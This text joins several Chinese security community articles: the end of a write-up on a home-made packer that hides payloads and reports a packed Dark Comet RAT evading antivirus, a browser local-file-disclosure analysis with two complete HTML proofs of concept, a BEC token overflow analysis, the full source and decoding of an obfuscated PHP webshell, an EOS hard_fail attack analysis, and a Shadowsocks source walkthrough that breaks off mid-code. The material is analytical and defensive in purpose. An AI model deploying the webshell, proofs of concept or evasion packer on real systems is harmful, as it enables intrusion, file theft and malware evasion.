其中箭头所指的就是资源段（.rsrc），其中的内容就是添加到二进制文件中的资源。左边红色方框中的标签，代表着PE文件中存在的不同资源。目前，PEView可以显示资源ID为000A的RCDATA（原始数据），从上面的代码中我们可以看出，它其实是混淆后的Payload。
这是XOR加密方式的32字节密钥。
## 演示
下面是一个使用putty.exe作为Payload的简单演示。
首先，启动加壳器，创建壳，并且对Payload进行混淆。
目前，putty.exe的大小是512KB，其中的壳大小为318KB。现在，我们就可以启动生成的壳。
如上图所示，它产生了反混淆后的Payload——test.exe并执行。
## 后续开发工作
后来，我增加了直接从内存中执行有包装的Payload的功能。具体而言，我将RunPE中的方法添加到了我的加壳器之中，并且使用MinGW编译，结果证明它可以完美地运行。下面是Dark
Comet远控木马加壳后扫描的结果。
Majyx检测平台（0/35）：
NoDistribute检测平台（0/35）：
同时，我还增加了对于Polymorph方式包装Payload的支持。概括来说，就是用一个新的密钥来重新加密压缩的Payload。
## 结语
在我的研究过程中，遇到的唯一一个困难就是如何去理解资源管理（Resource
Management）。除此之外，涉及到的内容都相对简单。我已经将涉及到的文件上传至[我的GitHub中](https://github.com/93aef0ce4dd141ece6f5/Packer)，其中包括一个已经编译好的32位可执行文件，供大家参考。
最后，感谢大家的阅读。 | 社区文章 |
# 【技术分享】针对跨浏览器的本地文件泄露漏洞的分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://leucosite.com/Chrome-Firefox-Edge-Local-File-Disclosure/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：120RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
你知道吗？你可以轻松把普通的文件选择器变成文件夹选择器，为此，只需将属性“webkitdirectory”添加到type
='file'的给定输入元素中就行了。
当然，与文件夹选择器不同的是，您最终会加载给定文件夹中的所有文件。这是一个明显的漏洞，机不可失，一阵忙活之后，我最终在三种主流浏览器中找到了一些相关的安全漏洞。
下面，我会针对不同的浏览器分别进行介绍。
**火狐浏览器**
我已经提交了三个与Mozilla的webkitdirectory功能有关的安全漏洞。幸运的是，文件夹选择器仅在Mozilla的Nightly版本的浏览器中提供了相应的实现，这个版本是在稳定版本发布之前用来测试新功能的。
**Bug 1295914——webkitdirectory可以用来引诱用户允许访问任意文件夹（SEC-MEDIUM）**
我报告的文件夹选择器方面的第一个安全漏洞与不良语义有关。这个安全漏洞是受到了[ **Google
Chrome中修复的一个漏洞**](https://bugs.chromium.org/p/chromium/issues/detail?id=252888)的启发而找到的，这种漏洞可用来欺骗毫无戒心的用户。
**Bug 1319370（CVE-2017-5414）webkitdirectory——操作系统用户名泄露（SEC-MEDIUM）**
我认为第二个漏洞是泄露本地文件的关键所在。这里的问题在于，当文件选择器被打开一次后，那么第二次打开它时，它会“降级”文件夹。
所以我制作了一个PoC，其效果为：如果我们诱骗受害者按住“Enter”键，同时弹出一个文件夹，就能导致用户在不知情的情况下“挑选”某些文件夹。
为了获取操作系统用户名，受害者需要按住用于两个文件夹对话框的确认按钮，因为（在Windows上）默认目录是'C： Users {username}
Desktp '。
这是利用这个漏洞时所依赖的主要用户互动，这主要是受到了一个[ **较旧的Mozilla漏洞**](https://www.mozilla.org/en-US/security/advisories/mfsa2011-40/)的启发。另一种方式是欺骗用户反复按下某个位置并弹出文件夹，这样的话“confirm
pick”按钮将被自动按下。
**Bug 1338637——任意输入本地文件[webkitdirectory]（SEC-MEDIUM）**
我发现，如果在用户按下“Enter”键时弹出一个文件夹的话，那么我们可以欺骗受害者，使我们可以访问默认目录中的所有文件。当然，这种方式还是有一些局限性的，因为在Windows操作系统上，似乎只有“我的文档”文件夹受此影响。
如果它是一个"我的文档"之外的文件夹，如“桌面”（默认），则不会加载任何东西。但是，在其他操作系统上，情况就不同了。
幸运的是，我们前面说过有一个漏洞，其中文件夹将在文件夹选择器使用后“降级”，所以这里可以利用这一点。
以下是原始的PoC。请注意，单凭第一个安全漏洞是远远不够的，只有在组合第二个和第三个安全漏洞之后，才最终得到了一个PoC。
<html>
<head>
</head>
<body>
<style>
#q{
opacity:0.0;
}
</style>
<b>Hold down enter for 5 seconds to prove you're human</b>
<input type=file id=q webkitdirectory='true'><br>
<textarea id="qtxt" style="height:300px;">Things grabbed:</textarea>
<script>
var i=25;
document.onkeypress=function(e){if(q.value.length>0){qtxt.value+=(q.value+'n');}
if(q.value=='Documents'){
window.i=1000;
}
if(e.key==='Enter'){
window.i--;
if(window.i<3){
q.click();
}
}
};
q.onchange=function(){
if(window.i>10){
document.body.innerHTML=('I can read '+q.files.length+' files from Documents folder');
}
}
</script>
</body>
</html>
**微软Edge浏览器**
我在Edge中发现了一个类似的安全漏洞，不同之处在于默认目录是“我的文档”，所以我在报告中指出，文件夹选择器可以用来接收受害者文档文件夹中的所有文件。
这个漏洞目前已经被修复了。
原始PoC：
<html>
<head>
<title>
Read all files on PC - PoC - By @qab
</title>
<style>
#thing {
opacity: 0.0;
}
</style>
</head>
<body>
<h3 id="qmsg">Hold down the ENTER key for 5 seconds to prove you're human..</h3>
<input id="thing" type="file" webkitdirectory mozdirectory accept="text/*" />
<script>
var r = new FileReader();
thing.onchange = function() {
alert('I can read ' + this.files.length + ' files from anywhere on your pc!');//This is for PoC only. We can access all data using this.files as seen next.
r.onload=function(){
alert(r.result);
};
r.readAsText(thing.files[0]);
};
//This is where we detect if the user is holding the Enter button.
var i = 0;
document.onkeydown = function() {
i++;
if (i > 4) {
thing.click();
i = -10000;
document.onkeydown = null;
setTimeout(function() {
qmsg.innerHTML = '<u>Thank you! Please wait while we verify (this might take a few minutes).</u>';
}, 1000);
};
};
</script>
</body>
</html>
**谷歌浏览器**
在这些漏洞方面，谷歌是第一家与我接洽的供应商。最初收到的评级为SEC-MEDIUM，后来更改为SEC-LOW，然后就石沉大海了。事实证明，如果有人尝试大规模使用这种类型的漏洞的话，Chrome就能检测到这种类型的漏洞，因为浏览器会自身提供了相应的安全记录。
截至目前为止，我虽然没有完全搞明白，但我相信他们的意思是，他们可以检测和阻止任何恶意网站，如果相应文件夹上传器的使用率陡升的话。在2007年4月13日向微软提交PoC报告时，该PoC仍然在Chrome上有效。
最糟糕的是，如果文件夹选择器默认为'C：'，您就能够读取整个磁盘——因为文件夹选择器会上传所有子目录中的全部文件。
**参考文献**
Arbitrary local files disclosure in input[webkitdirectory] bug report:
<https://bugzilla.mozilla.org/show_bug.cgi?id=1338637>
(CVE-2017-5414) webkitdirectory – OS username
disclosure<https://bugzilla.mozilla.org/show_bug.cgi?id=1319370>
webkitdirectory could be used to trick users into allowing access to arbitrary
folders<https://bugzilla.mozilla.org/show_bug.cgi?id=1295914>
(CVE-2016-7239) Microsoft Edge Information Disclosure
Vulnerability<https://technet.microsoft.com/library/security/mt674627.aspx>
Google bug
report<https://bugs.chromium.org/p/chromium/issues/detail?id=637098> | 社区文章 |
原文来自安全客，作者：区块链威胁情报
原文链接：<https://www.anquanke.com/post/id/146702>
#### 安全事件
最近，智能合约漏洞很火。
让我们再来看一下4月22日BeautyChain（BEC）的智能合约中一个毁灭性的漏洞。
BeautyChain团队宣布，BEC代币在4月22日出现异常。攻击者通过智能合约漏洞成功转账了10^58 BEC到两个指定的地址。
具体交易详情<https://etherscan.io/tx/0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f>
攻击者到底是怎么攻击的？为什么能转账这么大的BEC？
#### 智能合约代码
首先我们来看BEC转账的智能合约代码
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint cnt = _receivers.length;
uint256 amount = uint256(cnt) * _value;
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
以上的代码是[Solidity语言](http://solidity-cn.readthedocs.io/zh/develop/index.html
"Solidity语言")，是一门面向合约的，为实现智能合约而创建的高级编程语言。
#### 变量类型
在读代码之前我们先来简单了解一下以下几个变量类型(Solidity):
`address`
160位的值，且不允许任何算数操作。
`uint 8`
8位无符号整数，范围是0到2^8减1 (0-255)
`uint256`
256位无符号整数，范围是0到2^256减1
(0-115792089237316195423570985008687907853269984665640564039457584007913129639935)
**敲黑板，玩手机的同学注意看这里，这里是考试重点哦**
那么，我们请看如下神奇的化学反应
定义变量uint a
a的取值范围是0到255
当a=255，我们对a加 1，a会变成 0。
当a=255，我们对a加 2，a会变成 1。
当a=0，我们对a减 1，a会变成 255。
当a=0，我们对a减 2，a会变成 255。
a的值超过了它实际的取值范围，然后会得出后面的值，这种情况叫溢出。
#### 代码解读
知道了这几个变量类型，下面我们一行一行的来读这段代码。
##### 第一行
`function batchTransfer(address[] _receivers, uint256 _value) public
whenNotPaused returns (bool)`
函数有两个参数:
`_receivers` —————转账接收人，address类型的变量数组，是一个160位的值。
`_value` ———————-转账数量，uint256的状态变量，256位的无符号整数。
定义函数batchTransfer，功能主要是实现转账，接收两个参数，定义了参数的取值范围。
##### 第二行
`uint cnt = _receivers.length;`
计算接收人地址对应地址数组的长度，即转账给多少人。
##### 第三行
`uint256 amount = uint256(cnt) * _value;`
把unit类型的cnt参数值强制转换为uint256然后乘以转账数量_value 并赋值给uint256类型的amount变量。
##### 第四行
`require(cnt > 0 && cnt <= 20);`
require函数
require的入参判定为 false，则终止函数，恢复所有对状态和以太币账户的变动，并且也不会消耗 gas 。
判断cnt是否大于0且cnt是否小于等于20
##### 第五行
`require(_value > 0 && balances[msg.sender] >= amount);`
参数解读:
`_value`—————————————转账数量
`balances[msg.sender]`————-转账人余额
`amount`————————————转账总数量
判断`_value`是否大于0且转账人的余额`balances[msg.sender]`大于等于转账总金额amount
##### 第六行
`balances[msg.sender] = balances[msg.sender].sub(amount);`
计算转账人的余额，使用当前余额balances[msg.sender]减去转账总数量
##### 第七行
`for (uint i = 0; i < cnt; i++) {`
这里是一个循环，循环次数为cnt（遍历转账地址）
##### 第八行
`balances[_receivers[i]] = balances[_receivers[i]].add(_value);`
当i有具体的值时，`balances[_receivers[i]]`表示转账接收人，这里是表示转账人给转账接收人`_value`数量的币。
##### 第九行
`Transfer(msg.sender, _receivers[i], _value);`
保存转账记录
##### 第十行
`return true;`
函数返回为True
#### 代码流程
OK，我们读了完整的代码，接下来请看一个流程图
函数的流程是这样，那么攻击者到底是怎么攻击的呢？他为什么这么秀？同样都是九年义务教育……
#### 攻击过程
其实，他只是细心了一点，所使用的攻击方法并不高明啊，你且听我慢慢道来，注意看，别走神啊。
##### 交易详情
我们首先看这笔详细的交易：
好了，我们从图可以看到
转账接收人有两个地址，即`balances[_receivers]`:
000000000000000000000000b4d30cac5124b46c2df0cf3e3e1be05f42119033
0000000000000000000000000e823ffe018727585eaf5bc769fa80472f76c3d7
转账数量为`_value`:
8000000000000000000000000000000000000000000000000000000000000000（十六进制）
转10进制为
57896044618658097711785492504343953926634992332820282019728792003956564819968
##### 实战
OK，接下来我们来走函数流程
###### 第一行
`function batchTransfer(address[] _receivers, uint256 _value) public
whenNotPaused returns (bool)`
正常执行
###### 第二行
`uint cnt = _receivers.length`
由于这里有两个转账接收人地址，address数组长度为2，所以cnt为2，类型为uint
###### 第三行
`uint256 amount = uint256(cnt) * _value;`
_value=57896044618658097711785492504343953926634992332820282019728792003956564819968
cnt=2
两者相乘得到amount，类型为uint256
即`amount=115792089237316195423570985008687907853269984665640564039457584007913129639936`
考试重点用上了，记不住的同学去前面看看。
amount的类型为uint256，那么按照理论，它的最大取值是0到2^256减1，即
`115792089237316195423570985008687907853269984665640564039457584007913129639935`
所以！！！
amount瞬间从`115792089237316195423570985008687907853269984665640564039457584007913129639936`变成了0
第三行得到的结果：amount=0
###### 第四行
`require(cnt > 0 && cnt <= 20);`
cnt=2，2肯定大于0，2当然也小于等于20
所以这个条件成立，require函数返回值为True。
###### 第五行
`require(_value > 0 && balances[msg.sender] >= amount);`
`_value=57896044618658097711785492504343953926634992332820282019728792003956564819968`
`_value`肯定是大于0，转账人的余额balances[msg.sender]肯定是大于等于0的。
所以这个条件同样成立，require函数返回值为True。
###### 第六行
`balances[msg.sender] = balances[msg.sender].sub(amount);` 前面的条件都成立，那么代码会执行到这。
这行代码是求转账人转完账以后剩下的余额，amount为0 ， **那么转账人的余额其实没变！！！**
###### 第七行
`for (uint i = 0; i < cnt; i++)`
cnt=2，该行代码表示执行两次后面的操作
###### 第八行
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
i=0时，转账接收人balances[_receivers[0]]的余额加_value
i=1时，转账接收人balances[_receivers[1]]的余额加_value
看到这里其实我们就很明白了吧。
攻击者给以下两个转账接收人
000000000000000000000000b4d30cac5124b46c2df0cf3e3e1be05f42119033
0000000000000000000000000e823ffe018727585eaf5bc769fa80472f76c3d7
转了
`_value=57896044618658097711785492504343953926634992332820282019728792003956564819968`个币
更可恶的是，攻击者执行完这个操作，转账人的余额根本没变，看代码第六行的执行结果。
###### 第九行
`Transfer(msg.sender, _receivers[i], _value);`
这里只是把上面两个转账记录保存。
###### 第十行
`return true;`
函数返回为True
#### 小结
千里之堤毁于蚁穴！
就一个溢出漏洞，导致BEC的市值瞬间变0
这么傻的问题，写代码的人是写睡着了吗？？？
不，其实他根本没睡着啊，人家还用了SafeMath里的add函数和sub函数
我们看看什么是[SafeMath](https://ethereumdev.io/safemath-protect-overflows/
"SafeMath")函数
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn’t hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a – b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
注意看这一段
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
这里是乘法计算，计算出乘法的结果后会用assert函数去验证结果是否正确。
回到我们前面的dis第三行代码执行后的结果
_value=57896044618658097711785492504343953926634992332820282019728792003956564819968
cnt=2
两者相乘得到amount，类型为uint256
由于溢出，amount=0
赋值给mul函数即
c=amount，而amount=0，则c=0
a=cnt, 而cnt=2，则a=2
b=_value
得出
b=57896044618658097711785492504343953926634992332820282019728792003956564819968
那么c/a==b这个式子不成立，导致assert函数执行会报错，assert报错，那么就不会执行后面的代码，也就不会发生溢出。
也就是说，写这段代码的人，加减法他用了SafeMath里面的add函数和sub函数，但是却没有用里面的乘法函数mul
#### 如何防止这样的漏洞？
肯定是要用SafeMath函数啊，你加减法用了，乘法不用，你咋这么皮呢
代码上线前要做代码审计啊亲，强调多少遍了！
合理使用变量类型，了解清楚变量的范围
一定要考虑到溢出！一定要考虑到溢出！一定要考虑到溢出！重要的事情说三遍。
写这么通俗易懂，你应该看懂了吧？？看懂了就给点个赞呗！
#### 参考
* <https://medium.com/secbit-media/a-disastrous-vulnerability-found-in-smart-contracts-of-beautychain-bec-dbf24ddbc30e>
* <https://solidity-cn.readthedocs.io>
* * *
_本文经安全客授权发布，转载请联系安全客平台。_
* * * | 社区文章 |
最近朋友站被频繁挂马、暂未找到寄生虫的寄生位置,貌似是着急处理把寄生虫清理了,没有备份,以前见过一次没有分析,也是各种绕,里面发现了一个一句话木马,真是奇葩、源代码如下：
<?php
function cve($str,$key)
{
$t="";
for($i=0; $i<strlen($str); $i=$i+2)
{
$k=(($i+2)/2)%strlen($key);
$p=substr($key, $k,1);
if(is_numeric(substr($str, $i,1)))
{
$t=$t.chr(hexdec(substr($str, $i,2))-$p);
}
else
{
$t=$t.chr(hexdec(substr($str, $i,4)));
$i=$i+2;
}
}
return($t);
}
(@$_=cve('6A767C687B77','39')).@$_(cve('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
?>
只有想不到的算法，没有做不到的一句话啊，变形一句话现在几百个至少了吧，混合起来估计至少要上千个变异版本，核心的估计也就几百个吧，调试了下一句话的使用，如下：
<?php
function cve($str,$key)
{
$t="";
echo $str.">>".$key."<br>";
for($i=0; $i<strlen($str); $i=$i+2)
{ echo $i." while ";//这里是循环次数
$k=(($i+2)/2)%strlen($key);
echo " ---- ".$k; //这里经过上面算法处理后的,本次(i+2/2)%(字符串长度)
$p=substr($key, $k,1); //取key变量从$k开始,返回1个字符
echo " ---- ".$p; //
if(is_numeric(substr($str, $i,1)))//如果$str字符串在$i的位置返回是数字的话
{
$t=$t.chr(hexdec(substr($str, $i,2))-$p);
echo $t." >>>>>>yes int"."<br>";//$str字符串在$i位置开始返回2个字符转化为10进制数字,然后减去上面的$p,用chr返回对应的ASCII码值
}
else
{
$t=$t.chr(hexdec(substr($str, $i,4)));
$i=$i+2;
echo $t." >>>>>>is no int"."<br>";//如果if判断的不是数字的话走这里,这里和上面一样区别是从$i位置开始返回4个字符并给$i+2,走到这个流程的话每次是4
}
}
echo $t." >>>>>>return>>>>>>".$t."<br>";
return($t);
}
(@$_=cve('6A767C687B77','39')).@$_(cve('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
//(@$_=assert).@$_(eval(base64_decode($_POST['z0']))); //第一次解密
//assert(eval(base64_decode($_POST['z0']))); //第二次解密
//发现是base64编码的变形马
echo "<br>".base64_encode("phpinfo();")."<br>"; //cGhwaW5mbygpOw==
//只要post发请求 z0=cGhwaW5mbygpOw== 即可使用了这个木马了
//不过这个木马觉得使用者应该会用跳板去中转base64编码,这样一个达到了跳板隐藏的作用,另一个用base64编码桡骨waf
?>
跑起来后运行结果如下：
6A767C687B77>>39
0 while —- 1 —- 9a >>>>>>yes int
2 while —- 0 —- 3as >>>>>>yes int
4 while —- 1 —- 9ass >>>>>>yes int
6 while —- 0 —- 3asse >>>>>>yes int
8 while —- 1 —- 9asser >>>>>>yes int
10 while —- 0 —- 3assert >>>>>>yes int
assert >>>>>>return>>>>>>assert
6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E>>520
0 while —- 1 —- 2e >>>>>>yes int
2 while —- 2 —- 0ev >>>>>>yes int
4 while —- 0 —- 5eva >>>>>>yes int
6 while —- 1 —- 2eval >>>>>>yes int
8 while —- 2 —- 0eval( >>>>>>yes int
10 while —- 0 —- 5eval(b >>>>>>yes int
12 while —- 1 —- 2eval(ba >>>>>>yes int
14 while —- 2 —- 0eval(bas >>>>>>yes int
16 while —- 0 —- 5eval(base >>>>>>yes int
18 while —- 1 —- 2eval(base6 >>>>>>yes int
20 while —- 2 —- 0eval(base64 >>>>>>yes int
22 while —- 0 —- 5eval(base64_ >>>>>>yes int
24 while —- 1 —- 2eval(base64_d >>>>>>yes int
26 while —- 2 —- 0eval(base64_de >>>>>>yes int
28 while —- 0 —- 5eval(base64_dec >>>>>>yes int
30 while —- 1 —- 2eval(base64_deco >>>>>>yes int
32 while —- 2 —- 0eval(base64_decod >>>>>>yes int
34 while —- 0 —- 5eval(base64_decode >>>>>>yes int
36 while —- 1 —- 2eval(base64_decode( >>>>>>yes int
38 while —- 2 —- 0eval(base64_decode($ >>>>>>yes int
40 while —- 0 —- 5eval(base64 _decode($_ >>>>>>yes int
42 while —- 1 —- 2eval(base64_decode($_P >>>>>>yes int
44 while —- 2 —- 0eval(base64_decode($_PO >>>>>>yes int
46 while —- 0 —- 5eval(base64_decode($_POS >>>>>>yes int
48 while —- 1 —- 2eval(base64_decode($_POST >>>>>>yes int
50 while —- 2 —- 0eval(base64_decode($_POST[ >>>>>>yes int
52 while —- 0 —- 5eval(base64_decode($_POST[‘ >>>>>>yes int
54 while —- 1 —- 2eval(base64_decode($_POST[‘z >>>>>>yes int
56 while —- 2 —- 0eval(base64_decode($_POST[‘z0 >>>>>>yes int
58 while —- 0 —- 5eval(base64_decode($_POST[‘z0’ >>>>>>yes int
60 while —- 1 —- 2eval(base64_decode($_POST[‘z0’] >>>>>>yes int
62 while —- 2 —- 0eval(base64_decode($_POST[‘z0’]) >>>>>>yes int
64 while —- 0 —- 5eval(base64_decode($_POST[‘z0’])) >>>>>>yes int
eval(base64_decode($_POST[‘z0’]))
>>>>>>return>>>>>>eval(base64_decode($_POST[‘z0’]))
[
擦,这算法,怎么想到的,再变个函数又一个变形版会诞生,起码这个安全狗可杀了,阿里云的云盾不行,查不到都… | 社区文章 |
# EOS新型攻击手法之 hard_fail 状态攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
by yudan@慢雾安全团队
## 前言
昨日（2019 年 3 月 10 日）凌晨，EOS游戏 Vegas Town（合约帐号 eosvegasgame）遭受攻击，损失数千
EOS。慢雾安全团队及时捕获这笔攻击，并同步给相关的交易所及项目方。本次攻击手法之前没有相同的案例，但可以归为假充值类别中的一种。对此慢雾安全团队进行了深入的分析。
## 攻击回顾
根据慢雾安全团队的持续分析，本次的攻击帐号为 fortherest12，通过 eosq 查询该帐号，发现首页存在大量的错误执行交易：
查看其中任意一笔交易，可以发现其中的失败类型均为 hard_fail：
这立即就让我想起了不久前的写过的一篇关于 EOS 黑名单攻击手法的分析，不同的是实现攻击的手法，但是原理是类似的，就是没有对下注交易的状态进行分析。
## 攻击分析
本次攻击的一个最主要的点有两个，一个是 hard_fail，第二个是上图中的延迟。可以看到的是上图中的延迟竟达到了 2
个小时之久。接下来我们将对每一个要点进行分析。
(1)hard_faild：
参考官方开发文档（[https://developers.eos.io/eosio-nodeos/docs/how-to-monitor-state-with-state-history-plugin）](https://developers.eos.io/eosio-nodeos/docs/how-to-monitor-state-with-state-history-plugin%EF%BC%89)
可以得知 fail 有两种类型，分别是 soft_fail 和 hard_fail，soft_fail 我们遇见的比较多，我们一般自己遇到合约内执行
eosio_assert 的时候就会触发 soft_fail，回看官方对 soft_fail 的描述：客观的错误并且错误处理器正确执行，怎么说呢？拿合约内
eosio_assert 的例子来说：
{
//do something
eosio_assert(0,"This is assert by myself");
//do others
}
这种用户自己的错误属于客观错误，并且当发生错误之后，错误处理器正确执行，后面提示的内容 This is assert by myself
就是错误处理器打印出来的消息。
那么 hard_fail 是什么呢？回看官方对 hard_fail
的描述：客观的错误并且错误处理器没有正确执行。那又是什么意思呢？简单来说就是出现错误但是没有使用错误处理器（error handler）处理错误，比方说使用
onerror 捕获处理，如果说没有 onerror 捕获，就会 hard_fail。
OK，到这里，我们已经明白了 hard_fail 和 soft_fail 的区别，接下来是怎么执行的问题，传统的错误抛出都是使用 eosio_assert
进行抛出的，自然遇到 hard_fail 机会不多，那怎么抛出一个 hard_fail 错误呢？我们继续关注下一个点—-延迟时间。
(2)延迟时间：
很多人可能会疑惑，为什么会有延迟时间，我们通过观察可以知道 fortherest12 是一个普通帐号，我们惯常知道的延时交易都是通过合约发出的，其实通过
cleos 中的一个参数设置就可以对交易进行延迟，即使是非合约帐号也可以执行延迟交易，但是这种交易不同于我们合约发出的
eosio_assert，没有错误处理，根据官方文档的描述，自然会变成 hard_fail。而且最关键的一个点是，hard_fail 会在链上出现记录。
## 攻击细节分析
根据 jerry[@EOSLive](https://github.com/EOSLive "@EOSLive") 钱包的讲解，本次的攻击发生和 EOS
的机制相关，当交易的延迟时间不为 0 的时候，不会立马校验是否执行成功，对延迟交易的处理是
push_schedule_transaction，而交易的延迟时间等于 0 的时候，会直接
push_transaction。这两个的处理机制是存在区别的。
## 攻击成因
本次攻击是因为项目方没有对 trx 的 status 状态进行校验，只是对 trx 是否存在作出了判断。从而导致了本次攻击的发生。
## 防御手法
项目方在进行线下开奖的时候，要注意下注订单的执行状态，不要只是判断交易是否存在，还要判断下注订单是否成功执行。如下图
## 相关参考
引起 object fail 的错误类型参考：<https://eos.live/detail/16715>
官方对交易执行状态的描述：<https://developers.eos.io/eosio-nodeos/docs/how-to-monitor-state-with-state-history-plugin> | 社区文章 |
# 前言
本文主要分析了`Shadowsocks`的源码和密码学漏洞原理
## socks5
一种网络协议, 由于支持`tcp`和`udp`所以经常用于`客户端`和外`部网络服务器`之间的中间传输
### socks5协议分析
本地写了个转发,监听在`8081`端口
通过代理访问`pwnsky.com`的流量包如下
通过`psh`包的跟踪tcp流量获取到如下流量包
内容如下, 有缩进的为`服务端`返回的数据
00000000 05 02 00 01 ....
00000000 05 00 ..
00000004 05 01 00 01 76 c1 45 9e 00 50 ....v.E. .P
00000002 05 00 00 01 00 00 00 00 00 00 ........ ..
0000000E 47 45 54 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a GET / HT TP/1.1..
0000001E 48 6f 73 74 3a 20 70 77 6e 73 6b 79 2e 63 6f 6d Host: pw nsky.com
0000002E 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 63 75 ..User-A gent: cu
0000003E 72 6c 2f 37 2e 37 38 2e 30 0d 0a 41 63 63 65 70 rl/7.78. 0..Accep
0000004E 74 3a 20 2a 2f 2a 0d 0a 0d 0a t: */*.. ..
#### 逐行分析
##### 客户端第一次请求与服务端第一次回复
###### 客户端
VER | NMETHODS | METHODS
---|---|---
0x05 | 1 | 1 TO 255
###### 服务端
VER | METHOD
---|---
0x05 | 1
VER 的值当被设置为 0x05，标明当前版本为Socks5
NMETHODS中包含在 METHODS 中出现的方法标识的数据,每种有各自对应的格式
* 0x00 无需认证
* 0x02 需要认证, 用户名/密码
* 0xFF 无可接受方法
00000000 05 02 00 01 ....
00000000 05 00 ..
##### 客户端第二次回复
VER | REP | PSV | ATYP | BND.ADDR | BND.PORT
---|---|---|---|---|---
0x05 | 1 | 0x00 | 1 | Variable | 2
* VER: 0x05, 表明版本
* REP: 只有0x00标识连接成功,其他的见手册
* RSV: 保留字段,为0x00
* AYTP: 目标地址, 0x01 <\--> ipv4, 0x03 <\--> 域名, 0x04 <\--> ipv6
* BND.ADDR: 服务器绑定地址
* BND.PORT: 服务器绑定端口
00000004 05 01 00 01 76 c1 45 9e 00 50 ....v.E. .P
#### 完整流程
通过以上分析, 可总结, 完整连接流程为
* tcp握手
* 客户端请求连接
* 如果收到 0x05 0x00 则可以建立连接
* 发送 0x05 0x01 0x00 地址类型 + 目的地址 + 目的端口
* 接受服务器返回的自身地址和端口
这只是一次简单的socks5协议抓包分析, 更详细的内容可以参考文档
[RFC 1928 - SOCKS 5
协议中文文档「译」](https://www.quarkay.com/code/383/socks5-protocol-rfc-chinese-traslation)
# 源码分析
## 工作方式
user request <--> sslocal <--> ssserver <--> destination
可以理解为原本访问的流量是`A <--> B`
`AB`之间的流量可能被遮蔽或干扰
而`A <--> C <--encrypted--> D <--> B`
`AB`没有直接通信, 中间所传输的数据都是加密后的, 所以被屏蔽或干扰的概率下降了很多
(主动嗅探等手段这里暂且不提)
## 模块介绍
一些重要的模块
* tcprelay.py:TCP 代理的实现
* udprelay.py: UDP 代理的实现
* asyncdns.py:异步 DNS 查询
* crypto:加密用到的依赖等
* cryptor.py: 加密的接口
* daemon.py:守护进程
* shell.py:读取命令行参数，检查配置
* local.py: 客户端
* server.py: 服务器
### local.py && server.py
程序入口
两者大致内容相似, 可归纳为
...
# 获取配置
config = shell.get_config(True)
# 是否用守护进程的方式运行
daemon.daemon_exec(config)
...
# 注册dns解析器、tcp转发器、udp转发器
dns_resolver = asyncdns.DNSResolver()
tcp_server = tcprelay.TCPRelay(config, dns_resolver, True)
udp_server = udprelay.UDPRelay(config, dns_resolver, True)
# 放入循环中
loop = eventloop.EventLoop()
dns_resolver.add_to_loop(loop)
tcp_server.add_to_loop(loop)
udp_server.add_to_loop(loop)
loop.run()
...
### 发包
这里首先需要确定是`tcp`还是`udp`流量, 然后交由`tcprelay.py`或`udprelay.py`处理
中间实现代码很复杂, 尤其是`TCPRelay`, `TCPRelayHandler`且和本文关系不大
我们主要看数据收发、加解密部分
#### 头
def parse_header(data):
addrtype = ord(data[0])
dest_addr = None
dest_port = None
header_length = 0
if addrtype & ADDRTYPE_MASK == ADDRTYPE_IPV4:
if len(data) >= 7:
dest_addr = socket.inet_ntoa(data[1:5])
dest_port = struct.unpack('>H', data[5:7])[0]
header_length = 7
else:
logging.warn('header is too short')
elif addrtype & ADDRTYPE_MASK == ADDRTYPE_HOST:
if len(data) > 2:
addrlen = ord(data[1])
if len(data) >= 4 + addrlen:
dest_addr = data[2:2 + addrlen]
dest_port = struct.unpack('>H', data[2 + addrlen:4 +
addrlen])[0]
header_length = 4 + addrlen
else:
logging.warn('header is too short')
else:
logging.warn('header is too short')
elif addrtype & ADDRTYPE_MASK == ADDRTYPE_IPV6:
if len(data) >= 19:
dest_addr = socket.inet_ntop(socket.AF_INET6, data[1:17])
dest_port = struct.unpack('>H', data[17:19])[0]
header_length = 19
else:
logging.warn('header is too short')
else:
logging.warn('unsupported addrtype %d, maybe wrong password or '
'encryption method' % addrtype)
if dest_addr is None:
return None
return addrtype, to_bytes(dest_addr), dest_port, header_length
以上功能主要是:
判断数据为`ipv4`, `域名`或`ipv6`中的哪一种 并解析数据`ip`, `port`
返回地址类型`addrtype`，IP`dest_addr`，port `dest_port`,长度`header_length`
#### 选择服务器
def _get_a_server(self):
server = self._config['server']
server_port = self._config['server_port']
if type(server_port) == list:
server_port = random.choice(server_port)
if type(server) == list:
server = random.choice(server)
logging.debug('chosen server: %s:%d', server, server_port)
return server, server_port
然后是从`config`里面随机选择一个服务端,这里`tcp` ,`udp`都一样
#### 加密
###### udp
...
key, iv, m = cryptor.gen_key_iv(self._password, self._method)
...
try:
data = cryptor.encrypt_all_m(key, iv, m, self._method, data,
